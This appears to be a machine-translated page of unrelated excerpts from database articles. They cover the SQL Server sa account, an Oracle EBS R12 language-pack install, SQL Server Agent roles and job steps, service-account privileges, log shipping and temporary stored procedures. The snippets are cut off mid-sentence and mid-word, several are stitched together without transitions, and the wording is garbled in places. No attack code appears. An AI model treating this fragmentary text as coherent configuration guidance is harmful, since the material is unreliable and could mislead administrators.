As we all know, in M $ SQL, there is an account sa that is definitely a hidden danger in network security. By default, it is assigned to the fixed server role sysadmin, it cannot be changed. Generally, this sa cannot change or delete the name. It is a little tasteless.

Recently, I was suddenly interested in learning EBS R12. After downloading and installing an EBS R12, I couldn't do it in English. I had to prepare a Chinese package. I had to find a few points on the Internet, it is estimated that they are hand-written and not detailed. I am a newbie who can hardly understand it. After several days of exploration, I have finally completed the process. Now I will write it in detail, so that beginners like me can suffer less. I. modify a multi-language table1. l

This article is the second of the SQL Server Agent series, please refer to the original text for more information. The SQL Server Agent job consists of a series of one or more job steps. A job step is assigned to a specific job subsystem (the work that determines the job step to complete). Each job step runs in a separate security context, although each job has an owner to determine who can modify the job. This article focuses on the job steps and subsystems that comprise SQL Server Agent

history of events that you need to restore a database earlier than the last backup. Log transfers allow things to be fed back to another database (the destination) from one database (source). Keeping the destination database synchronized with the original database allows you to have a standby database and also provides a way to remove query processing from the primary database to the read-only destination server 1, Sp_add_maintenance_plan Add a maintenance plan and return the plan ID Grammar

procedure is the only user who can use the procedure. Permission to perform a local temporary procedure cannot be granted to another user. If you create a global temporary procedure, all users can access the procedure, and permissions cannot be explicitly revoked. Only users with explicit create PROCEDURE permissions in the tempdb database can explicitly create temporary procedures in the database (without the use of a number character name). You can grant or revoke permissions in these procedu

for each SQL Server Agent instance.When you select an account for the SQL Server service, your account requires the following permissions: In all versions of Windows, the permission to log on as a service ( SeServiceLogonRight ) In Windows Server, the SQL Server Agent service proxy account requires the following permissions: bypassing traverse checking (SeChangeNotifyPrivilege) Replace a process level token (SeAssignPrimaryTokenPrivilege) Adjust memory quotas

Label:SQL Server Agent is the core of all real-time databases. Proxies have a lot of non-obvious uses, so the knowledge of the system is useful for developers or DBAs. This series of articles will be popular to introduce its many uses. In this series of previous articles, you reviewed the security roles under the msdb library for authorizing access to SQL Server Agent. These roles include SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole. Each role grants the user certain pe

This article is the tenth article of the SQL Server Agent series, please refer to the original text for details In the first few of these series, you reviewed the security roles under the msdb library for authorizing access to SQL Server Agent.

Each role grants the user certain permissions to use SQL Server Agent instead of being a member of the sysadmin server r

that frequent use of temporary stored procedures can have a negative impact on performance by generating contention on system tables in tempdb. It is recommended to use sp_executesql instead. sp_executesql does not store data in the system tables, so this problem can be avoided. Automatic execution of stored procedures SQL Server can automatically execute one or more stored procedures when it starts. These stored procedures must be created by the system administrator and executed as background
